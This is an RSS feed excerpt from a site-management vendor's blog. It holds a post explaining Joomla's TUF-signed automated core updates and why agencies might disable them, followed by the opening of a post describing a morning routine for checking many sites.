&lt;p&gt;If you&apos;ve been running Joomla 5 since before 5.4 and upgraded through the normal update process, you&apos;re fine - the feature is off unless you turned it on. But any fresh Joomla installation (new client site, dev environment spun up with the latest version, a hosting provider&apos;s one-click installer) has automated updates running from day one.&lt;/p&gt;
&lt;h2&gt;What is The Update Framework (TUF)?&lt;/h2&gt;
&lt;p&gt;TUF is an open-source security specification that protects software update systems from supply-chain attacks. It started in the Python community and is now a graduated &lt;a href=&quot;https://www.cncf.io/&quot;&gt;Cloud Native Computing Foundation (CNCF)&lt;/a&gt; project under the Linux Foundation. Docker, Google, Amazon, Microsoft, VMware, and Cloudflare all use it.&lt;/p&gt;
&lt;p&gt;The problem it solves: what happens when the server distributing your updates gets compromised? Without TUF, an attacker who controls the update server can serve a malicious package and every client that checks for updates will install it. TUF prevents this with a few mechanisms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cryptographic signing with role separation.&lt;/strong&gt; Updates aren&apos;t signed by a single key. TUF splits signing responsibilities across multiple roles - root, targets, snapshot, and timestamp - each with their own keys. Compromising one key doesn&apos;t give an attacker the ability to forge a complete, valid update.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threshold signatures.&lt;/strong&gt; Critical actions require M-of-N signatures (e.g., 3 out of 5 keyholders must sign). Even if an attacker steals one or two keys, they still can&apos;t produce a valid release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expiration enforcement.&lt;/strong&gt; TUF metadata has built-in expiration dates. A client won&apos;t accept stale metadata, which limits the window for replay attacks where an attacker serves an old, vulnerable version as if it were current.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Consistent snapshots.&lt;/strong&gt; The framework ensures clients get a consistent view of the repository at a point in time, preventing mix-and-match attacks where an attacker combines files from different releases.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How Joomla uses TUF&lt;/h3&gt;
&lt;p&gt;Before Joomla 5.1, the updater retrieved update information from an XML file hosted on the Joomla.org CDN. Whatever that XML file said was trusted - there was no cryptographic verification that the update information actually came from the Joomla project. If someone compromised the CDN or the update server, they could point every Joomla site to a malicious download.&lt;/p&gt;
&lt;p&gt;Joomla 5.1 replaced this with a &lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;TUF-based update system&lt;/a&gt;. The implementation includes a server-side setup for the update repository with a CLI tool for managing signing keys and publishing releases, and a PHP client library that reads and verifies TUF metadata before accepting any update. Even if an attacker compromises the update server infrastructure, they cannot forge the cryptographic signatures that prove an update was published by the official Joomla project.&lt;/p&gt;
&lt;p&gt;The automated update feature introduced in Joomla 5.4 builds on top of this TUF foundation. The pull-based mechanism (where your site downloads and verifies the update itself rather than receiving pushed code) combined with TUF&apos;s signature verification means the worst-case scenario for a server compromise is that an attacker could trigger a &lt;em&gt;legitimate&lt;/em&gt; pending update to install sooner than expected - not inject arbitrary code.&lt;/p&gt;
&lt;p&gt;The entire infrastructure is open source. The PHP client library is based on &lt;a href=&quot;https://github.com/php-tuf/php-tuf&quot;&gt;php-tuf&lt;/a&gt;, a shared implementation also used by Drupal and TYPO3 - though Joomla maintains &lt;a href=&quot;https://github.com/joomla-backports/php-tuf&quot;&gt;its own fork&lt;/a&gt; with several changes. The fork fixes how signature verifiers are recreated during root key rotation (aligning with the TUF spec more strictly than upstream), relaxes &lt;code&gt;spec_version&lt;/code&gt; validation to accept a wider range of version formats, fixes canonical JSON key sorting for nested arrays, adds PHP 8.4 nullable type compatibility, and widens the Guzzle Promises constraint to support both v1 and v2. A &lt;a href=&quot;https://gist.github.com/PhilETaylor/0fee6f69316cc10e8bf56cd3a22ee887&quot;&gt;full diff of the fork&apos;s changes&lt;/a&gt; is available. The fork does lag behind upstream on some improvements like static caching, delegated role optimizations, and the latest TUF spec version. The signed metadata itself - covering all four TUF roles (root, targets, snapshot, and timestamp) - lives in the &lt;a href=&quot;https://github.com/joomla/updates&quot;&gt;joomla/updates&lt;/a&gt; repository, which has accumulated over 1,500 commits of cryptographic signatures and update artifacts. The server that orchestrates the pull-based update cycle is the &lt;a href=&quot;https://github.com/joomla-projects/Automated-Updates-Server&quot;&gt;Automated-Updates-Server&lt;/a&gt;, a Laravel 11 application hosted by the Joomla project. It runs on PHP 8.3+ with Laravel Horizon managing the job queue: health-checking registered sites every 15 minutes, queuing update jobs when patches are available, and removing inactive sites after 7 days of failed checks. Joomla is the first PHP-based CMS to ship TUF verification in its update pipeline.&lt;/p&gt;
&lt;p&gt;For site administrators, TUF operates transparently. You don&apos;t need to configure anything or manage keys. It runs in the background every time your site checks for or applies a Joomla core update, whether manual or automated.&lt;/p&gt;
&lt;h2&gt;Why Should Agencies Disable Automated Joomla Core Updates?&lt;/h2&gt;
&lt;p&gt;The feature was built for a specific audience: the long tail of Joomla sites with no active maintenance. After a security patch release, there&apos;s roughly a 10-12 hour window before attackers reverse-engineer the fix and start scanning for unpatched sites. For sites with no one watching the dashboard, automated updates close that window.&lt;/p&gt;
&lt;p&gt;But if you&apos;re reading this blog, you probably manage sites professionally. Automated updates don&apos;t fit that workflow. These concerns aren&apos;t new, either. Back in 2014, Brian Teeman - co-founder of Joomla - wrote that &lt;a href=&quot;https://brian.teeman.net/joomla/835-automatic-updates-for-joomla-are-a-bad-idea&quot;&gt;automatic updates for Joomla are a bad idea&lt;/a&gt;, arguing that the risks of breaking sites without notice outweigh the convenience. His point: &quot;You definitely do not want to find out at 2 a.m. on a Saturday night that an update has gone wrong when a furious client calls you.&quot; Over a decade later, with the feature now shipping in core, those same arguments still hold.&lt;/p&gt;
&lt;p&gt;Joomla isn&apos;t alone in this tension, either. Drupal is building its own automatic updates initiative and is upfront about the limitations. Their own documentation states: &quot;Automatic updates are generally not intended for use by large enterprise organizations that already have their own build workflows and pipelines. Instead, the intent is to support small-to-medium site owners who have a &apos;set-it-and-forget-it&apos; attitude towards their Drupal installations.&quot; (&lt;a href=&quot;https://www.drupal.org/about/starshot/initiatives/automatic-updates&quot;&gt;source&lt;/a&gt;). That&apos;s exactly the distinction that matters here: automatic updates are for unmanaged sites, not for sites you&apos;re actively responsible for.&lt;/p&gt;
&lt;h3&gt;Extension compatibility breaks&lt;/h3&gt;
&lt;p&gt;The core updates but your extensions don&apos;t. An automated patch can land on a site running extensions that haven&apos;t been tested against the new core version. Contact forms stop submitting. E-commerce checkout flows fail. On client sites running niche or legacy extensions, the risk gets worse.&lt;/p&gt;
&lt;p&gt;We&apos;ve seen this pattern play out for years with &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;WordPress automatic updates&lt;/a&gt; and it&apos;s no different here.&lt;/p&gt;
&lt;h3&gt;No staging-first workflow&lt;/h3&gt;
&lt;p&gt;The automated system updates the live site directly. There&apos;s no mechanism to route the update through a staging environment first, verify that everything works, and then apply to production. For agencies that bill for maintenance and guarantee uptime, skipping the test step is unacceptable.&lt;/p&gt;
&lt;h3&gt;Unpredictable timing&lt;/h3&gt;
&lt;p&gt;Updates can trigger at any time. During peak traffic. Right before a client presentation. While you&apos;re in the middle of debugging something else on the same site. You have no say in the timing.&lt;/p&gt;
&lt;h3&gt;Backup dependency&lt;/h3&gt;
&lt;p&gt;Every guide on automated updates (including Joomla&apos;s own documentation) stresses that having a current, restorable backup before each update is &quot;absolutely vital.&quot; That&apos;s true, but on a portfolio of 50+ sites, ensuring every site has a valid backup at the exact moment an automated update fires is an operational challenge. If you&apos;re using &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;mySites.guru&apos;s backup scheduling&lt;/a&gt;, you have a safety net - but the timing still isn&apos;t guaranteed to align.&lt;/p&gt;
&lt;h3&gt;Undermines your maintenance service&lt;/h3&gt;
&lt;p&gt;If you sell maintenance contracts where tested, documented updates are part of the service, automated updates create confusion. A client&apos;s site updates itself overnight, something breaks, and the first question is &quot;who did this?&quot; Explaining that Joomla did it on its own doesn&apos;t exactly inspire confidence in the controlled process you promised them.&lt;/p&gt;
&lt;h3&gt;Continuous data transmission&lt;/h3&gt;
&lt;p&gt;Once registered, the service performs health checks every 24 hours, transmitting technical information about your site to Joomla&apos;s servers - including PHP version, database type and version, CMS version, and server OS. This happens regardless of whether a new update is available. If your clients are in regulated industries or have strict data governance policies, this ongoing communication with an external service may need to be disclosed or approved.&lt;/p&gt;
&lt;h3&gt;Cloudflare and WAF interference&lt;/h3&gt;
&lt;p&gt;Community reports confirm that Cloudflare&apos;s Bot Fight Mode blocks the automated update mechanism, returning 403 errors. Sites behind aggressive WAF rules may need additional configuration to allow the update server&apos;s requests through. If you manage sites on varied hosting environments, this adds another variable to troubleshoot when updates fail silently.&lt;/p&gt;
&lt;h3&gt;The feature is still maturing&lt;/h3&gt;
&lt;p&gt;The autoupdate.joomla.org service stability under high load has not been fully demonstrated in production at scale. The feature was developed by a small team of contributors, and additional security concerns have been reported to the Joomla Security Strike Team and are still being addressed. Failure notifications rely on your site being operational after the upgrade - if an update causes a site error, no notification will be sent. If client site availability is what you sell, relying on a system that&apos;s still proving itself in production adds risk you probably don&apos;t need.&lt;/p&gt;
&lt;h2&gt;How Do You Audit Your Existing Joomla Sites?&lt;/h2&gt;
&lt;p&gt;If you&apos;ve been building new Joomla sites since October 2025 (when 5.4.0 and 6.0.0 shipped), some of them may have automated updates running without you realizing it. To audit your portfolio:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Run a snapshot&lt;/strong&gt; on all your connected Joomla sites in &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;mySites.guru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the automated update status&lt;/strong&gt; - the dashboard will show you which sites have the feature enabled&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable it&lt;/strong&gt; on any site where you want manual control, directly from the dashboard&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify the update channel&lt;/strong&gt; - while you&apos;re at it, confirm all sites are on the &quot;Default&quot; channel, not &quot;Joomla Next&quot; (which could trigger a major version jump)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you&apos;re not using mySites.guru yet, you can start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; to see the state of your sites.&lt;/p&gt;
&lt;h3&gt;What to look for in the audit results&lt;/h3&gt;
&lt;p&gt;When you run the audit, the &quot;Disable Upcoming Joomla 5.4+ Auto Joomla Upgrades&quot; check appears in the &lt;strong&gt;Joomla Configuration&lt;/strong&gt; section of each site&apos;s report. Sites where auto-updates are already disabled show a green &lt;strong&gt;OK&lt;/strong&gt; badge. Sites where the &lt;code&gt;autoupdate&lt;/code&gt; parameter is set to &lt;code&gt;1&lt;/code&gt; (or missing entirely, which Joomla 5.4+ interprets as opting in) show a red &lt;strong&gt;1 Issue&lt;/strong&gt; badge.&lt;/p&gt;
&lt;p&gt;Pay particular attention to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sites built after October 2025&lt;/strong&gt; - new installations default to auto-updates enabled&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites on shared hosting&lt;/strong&gt; with one-click Joomla installers - the hosting provider&apos;s installer may not disable auto-updates&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites handed off from other developers&lt;/strong&gt; - you may not know what settings the previous maintainer used&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dev/staging sites&lt;/strong&gt; that were later pointed to production domains - if the original install had auto-updates enabled, the production site inherited that setting&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Check your hosting control panel too&lt;/h3&gt;
&lt;p&gt;Disabling Joomla&apos;s built-in auto-updates isn&apos;t the whole picture. Many web hosting control panels have their own auto-upgrade features that operate independently of Joomla&apos;s settings. Softaculous, Installatron, and similar one-click installers bundled with cPanel, Plesk, and DirectAdmin can all be configured to auto-update Joomla and WordPress installations on a schedule. Some managed hosting providers enable this by default.&lt;/p&gt;
&lt;p&gt;This means you can disable auto-updates inside Joomla and still wake up to find your site was upgraded overnight by Softaculous. The hosting panel updates the files directly on disk - it doesn&apos;t go through Joomla&apos;s update mechanism at all, so TUF verification doesn&apos;t apply and Joomla&apos;s own auto-update setting is irrelevant.&lt;/p&gt;
&lt;p&gt;If you manage sites across multiple hosts, log into each hosting control panel and check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Softaculous&lt;/strong&gt; - go to the installation&apos;s edit page and look for &quot;Auto Upgrade&quot; and &quot;Auto Upgrade Plugins&quot; settings. Set both to &quot;Do not Auto Upgrade.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Installatron&lt;/strong&gt; - check the &quot;Automatic Update&quot; option in the application&apos;s settings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Managed WordPress/Joomla hosts&lt;/strong&gt; - some providers (like WP Engine for WordPress, or Starter for Joomla) manage updates as part of the service. Review their update policies and opt out if your workflow requires it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is easy to overlook, especially on client sites where someone else set up the hosting. Add it to your audit checklist.&lt;/p&gt;
&lt;h2&gt;What if auto-updates already ran on your sites?&lt;/h2&gt;
&lt;p&gt;If you&apos;re finding out about this after an update already landed on one of your sites, here&apos;s how to assess and recover:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check what version was installed.&lt;/strong&gt; Log into the Joomla admin panel and check the current CMS version under System → System Information. Compare it to what you expected. If the site was on 5.4.2 and is now on 5.4.3, that&apos;s a minor patch - check the &lt;a href=&quot;https://www.joomla.org/announcements.html&quot;&gt;Joomla release notes&lt;/a&gt; for what changed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test the site thoroughly.&lt;/strong&gt; Walk through the critical user paths: contact forms, login, search, any custom functionality, e-commerce checkout if applicable. Check the front-end and back-end for PHP errors. Look at the site&apos;s error log for new entries timestamped around the update time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verify extensions are compatible.&lt;/strong&gt; Open the Extensions → Manage → Manage panel and look for any extensions flagged with compatibility warnings. Check that &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;your Joomla extensions&lt;/a&gt; are all functioning correctly. Pay particular attention to template overrides, which can break silently when core HTML output changes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check for failed update artifacts.&lt;/strong&gt; If an automated update failed partway through, you may find the site in an inconsistent state. Look for Joomla&apos;s &lt;code&gt;administrator/cache/com_joomlaupdate&lt;/code&gt; directory and check if there are leftover update packages. A failed update that left partial files behind will need manual cleanup - either by re-running the update or restoring from backup.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disable auto-updates immediately.&lt;/strong&gt; Follow the methods above to prevent it from happening again. Then take a fresh &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup of your sites&lt;/a&gt; so you have a clean restore point going forward.&lt;/p&gt;
&lt;h2&gt;When Do Automated Joomla Updates Make Sense?&lt;/h2&gt;
&lt;p&gt;The feature isn&apos;t universally bad. There are legitimate use cases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Personal or hobby sites&lt;/strong&gt; with no third-party extensions and no maintenance contract&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Brochure sites&lt;/strong&gt; running vanilla Joomla with no custom code and minimal extension usage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites where no one is watching&lt;/strong&gt; - if the alternative is running an unpatched Joomla site for months, automated updates are the lesser risk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a site fits that profile, leaving automated updates enabled is reasonable. The core Joomla team built this feature to solve a real problem: the massive number of Joomla sites running outdated, vulnerable versions because no one is maintaining them.&lt;/p&gt;
&lt;p&gt;But if you&apos;re the person maintaining the site, testing updates, managing extensions, and guaranteeing uptime, then you should be the one deciding when updates happen.&lt;/p&gt;
&lt;h2&gt;How Does WordPress Handle Automatic Updates?&lt;/h2&gt;
&lt;p&gt;WordPress has had automatic background updates since version 3.7, and the same debates played out in that ecosystem years ago. If you manage WordPress sites alongside Joomla, you&apos;ll recognize the pattern: the feature helps unmanaged sites stay patched, but agencies need more control. The recent &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 incident&lt;/a&gt; - where a security auto-update crashed sites running certain theme frameworks - is a textbook example of why testing before deployment matters, regardless of the CMS.&lt;/p&gt;
&lt;p&gt;WordPress went a different direction on the security side, too. In 2016, Scott Arciszewski of Paragon Initiative Enterprises &lt;a href=&quot;https://seclists.org/oss-sec/2016/q4/478&quot;&gt;publicly disclosed&lt;/a&gt; that WordPress&apos;s auto-update mechanism had no cryptographic signature verification - updates were checked with an MD5 hash provided by the same server serving the file, making &lt;code&gt;api.wordpress.org&lt;/code&gt; a single point of failure for roughly a quarter of all websites on the internet. His words: &quot;If you manage to hack their infrastructure, you can push a false update to millions of WordPress blogs and get reliable remote code execution everywhere.&quot; He built &lt;code&gt;sodium_compat&lt;/code&gt; (a PHP polyfill for Ed25519 signing) and submitted patches to &lt;a href=&quot;https://core.trac.wordpress.org/ticket/39309&quot;&gt;ticket #39309&lt;/a&gt;, but Matt Mullenweg told core developer Dion Hulse to stop working on it because it wasn&apos;t among WordPress&apos;s 2017 priorities - the Editor, Customizer, and REST API were. Mullenweg called it &quot;a good idea&quot; but &quot;not a priority,&quot; ranking it below weak passwords and users not updating their plugins. It took until WordPress 5.2 in May 2019 - three years after the disclosure - for Ed25519 signature verification to ship. And even then, WordPress rolled its own signing system rather than adopting TUF. Joomla, whatever your opinion of its auto-update implementation, at least built on an established, peer-reviewed security framework from day one.&lt;/p&gt;
&lt;p&gt;mySites.guru gives you the same control for both platforms. You can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stop WordPress automatic updates&lt;/a&gt; with a single toggle, or take the middle path and &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor-only core updates&lt;/a&gt; so security patches keep flowing while major version jumps are blocked. And now you can do the same for Joomla&apos;s automated core updates. Same dashboard, same workflow, both CMS platforms covered.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Security issues reported&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;On 11 March 2026, while researching this article, two security issues with Joomla&apos;s automated update mechanism were identified and reported to the Joomla Security Strike Team by Phil Taylor.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://seclists.org/oss-sec/2016/q4/478&quot;&gt;WordPress (all versions): SPOF, RCE, and Negligence&lt;/a&gt; - Scott Arciszewski&apos;s 2016 disclosure on oss-sec about WordPress&apos;s lack of cryptographic signature verification in auto-updates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://core.trac.wordpress.org/ticket/39309&quot;&gt;WordPress Trac #39309: Secure WordPress against infrastructure attacks&lt;/a&gt; - The ticket where Paragon Initiative&apos;s patches for Ed25519 update signing were submitted, stalled, and eventually implemented in WordPress 5.2.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wptavern.com/matt-mullenweg-responds-to-security-rant-digital-signatures-for-wordpress-updates-are-important-but-not-a-priority&quot;&gt;Matt Mullenweg responds: digital signatures are important but not a priority&lt;/a&gt; - WP Tavern&apos;s coverage of the dispute between Arciszewski and Mullenweg over update signing priorities.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.drupal.org/about/starshot/initiatives/automatic-updates&quot;&gt;Drupal Automatic Updates initiative&lt;/a&gt; - Drupal&apos;s own auto-update project, with an honest acknowledgment that it&apos;s not intended for enterprise organizations with existing build pipelines.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://brian.teeman.net/joomla/835-automatic-updates-for-joomla-are-a-bad-idea&quot;&gt;Automatic updates for Joomla! are a bad idea&lt;/a&gt; - Brian Teeman (Joomla co-founder) on why automatic updates are risky for professionally managed sites, written in 2014 but still relevant.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/automatic-core-updates-in-joomla&quot;&gt;Automatic core updates in Joomla&lt;/a&gt; - David Jardin&apos;s official write-up in the Joomla Community Magazine on the architecture, TUF integration, and rationale.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlers.uk/joomla-security/update-joomla-cms/automatic-core-joomla-updates&quot;&gt;Automatic Core Joomla Updates&lt;/a&gt; - Practical guide from Joomlers.uk with enable/disable steps and an agency perspective.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomill.com/knowledge-base/joomla/automatic-joomla-updates&quot;&gt;Automatic Joomla updates (Joomla 5.4+)&lt;/a&gt; - Joomill&apos;s breakdown of configuration options and risk mitigation.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla.digital-peak.com/blog/automated-testing-is-essential-for-joomla-cms-updates&quot;&gt;Automated testing is essential for Joomla CMS updates&lt;/a&gt; - Digital Peak on why automated updates need automated testing infrastructure to be safe at scale.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://theupdateframework.io/&quot;&gt;The Update Framework (TUF)&lt;/a&gt; - The official TUF project site: full specification, security model, and adopter list.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;Tamper-proof core updates for Joomla - TUF making it into 5.1&lt;/a&gt; - How TUF was integrated into Joomla&apos;s update system and what it protects against.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php-tuf/php-tuf&quot;&gt;php-tuf/php-tuf&lt;/a&gt; - The PHP implementation of TUF used by Joomla, Drupal, and TYPO3 for cryptographic update verification.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/updates&quot;&gt;joomla/updates&lt;/a&gt; - Joomla&apos;s signed TUF bootstrap repository with the cryptographic metadata that every Joomla 5.1+ site validates against.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla-projects/Automated-Updates-Server&quot;&gt;Joomla Automated-Updates-Server&lt;/a&gt; - The open-source Laravel app that orchestrates Joomla&apos;s pull-based automated update cycle.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - How to enable or disable automatic updates for individual Joomla extensions across all your connected sites.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Auto-update controls are covered in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing CMS updates&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>automated upgrades</category><category>joomla 6</category><category>site management</category><enclosure url="https://mysites.guru/_astro/how-to-disable-joomla-automated-upgrades.CYa3syOX.png" length="0" type="image/png"/></item><item><title>Build a Morning Routine for Checking All Your Joomla Sites in 5 Minutes</title><link>https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/</guid><description>A practical morning workflow for agency owners to check uptime, backups, updates, and alerts across hundreds of Joomla sites in under 5 minutes.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Running an agency means juggling dozens (sometimes hundreds) of client sites. Joomla updates land, SSL certificates creep toward expiry, hosting providers have outages at 3am, and somebody always manages to get hacked over the weekend.&lt;/p&gt;
&lt;p&gt;You could spend your morning logging into each site individually, checking admin panels, refreshing hosting dashboards, and scrolling through email threads. Or you could do the whole thing in 5 minutes from a &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;single dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This post walks through a practical morning routine built around mySites.guru. It&apos;s written for Joomla agencies, but every step applies equally to WordPress and generic PHP sites. The platform handles all three with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature parity&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Why Do You Need a Morning Routine at All?&lt;/h2&gt;
&lt;p&gt;&quot;My sites are fine, I would know if something went wrong.&quot;&lt;/p&gt;
&lt;p&gt;That&apos;s the line every agency owner says right before a client calls to tell them their site has been down since Tuesday.&lt;/p&gt;
&lt;p&gt;Most site problems are silent. A failed backup doesn&apos;t announce itself. An expired SSL certificate shows a scary browser warning to your client&apos;s customers, but your client might not notice for days. A Joomla core update has been sitting in the queue for two weeks and the vulnerability it patches is being actively exploited.&lt;/p&gt;
&lt;p&gt;A structured morning check catches these problems early, before your client notices and before a small issue turns into an emergency.&lt;/p&gt;
&lt;p&gt;The routine below covers five areas:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Dashboard overview&lt;/strong&gt;: the 30-second scan&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alerts and important items&lt;/strong&gt;: what broke overnight&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uptime status&lt;/strong&gt;: which sites are actually responding&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backup verification&lt;/strong&gt;: confirming your safety net exists&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update queue&lt;/strong&gt;: getting ahead of security patches&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Each step takes about a minute. The whole routine takes under five.&lt;/p&gt;
&lt;h2&gt;What Do You Need Before You Start?&lt;/h2&gt;
&lt;h3&gt;Step 0: Coffee. Always coffee.&lt;/h3&gt;
&lt;p&gt;Nothing good happens before coffee. Make it strong, make it hot, and bring it to your desk. The rest of this routine assumes caffeine is flowing. Phil gets his beans from &lt;a href=&quot;https://cooper.co.je/&quot;&gt;Cooper &amp;amp; Co&lt;/a&gt; in Jersey and grinds at home (not a sponsored link, just great coffee).&lt;/p&gt;
&lt;h3&gt;The tools you need&lt;/h3&gt;
&lt;p&gt;If you&apos;re already using mySites.guru, skip ahead to Step 1. If not, here&apos;s what the routine assumes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your Joomla sites are connected to mySites.guru via the connector plugin. You can &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;add unlimited sites&lt;/a&gt; to your account - see the full guide to &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; for setup details.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime monitoring&lt;/a&gt; is enabled for every site. The left sidebar shows a count of sites without a monitor, so you can spot any gaps.&lt;/li&gt;
&lt;li&gt;Backup schedules are configured. mySites.guru integrates with &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Akeeba Backup for Joomla&lt;/a&gt; (free or professional) and All-in-One Migration for WordPress.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerts&lt;/a&gt; are turned on for events you care about: admin logins, configuration file changes, and SSL expiration warnings.&lt;/li&gt;
&lt;li&gt;You have organised your sites with tags (the &quot;Site Group Tags&quot; feature) so you can filter by client, server, or priority level.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of this is one-time setup. Once it&apos;s done, the morning routine is pure review.&lt;/p&gt;
&lt;h2&gt;Step 1: The 30-second dashboard scan&lt;/h2&gt;
&lt;p&gt;Log into your mySites.guru account. The first thing you see is the &lt;strong&gt;Your Sites&lt;/strong&gt; page, a list of every connected site with status indicators.&lt;/p&gt;
&lt;p&gt;But before you look at the list, look at the &lt;strong&gt;left sidebar&lt;/strong&gt;. This is where mySites.guru does the heavy lifting for you.&lt;/p&gt;
&lt;h3&gt;The Important Items section&lt;/h3&gt;
&lt;p&gt;The sidebar contains a section called &lt;strong&gt;Important Items&lt;/strong&gt; with live counters. These update automatically as snapshots run throughout the day. On a good morning, this section is empty. On a bad morning, you&apos;ll see entries like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hacked Sites&lt;/strong&gt;: sites where the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt; has detected malicious code. This is the red flag. If you see this counter at any number above zero, deal with it first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites Not Connected&lt;/strong&gt;: the mySites.guru connector plugin could not reach these sites. Could be a hosting outage, a DNS problem, or the plugin was accidentally removed.&lt;/li&gt;
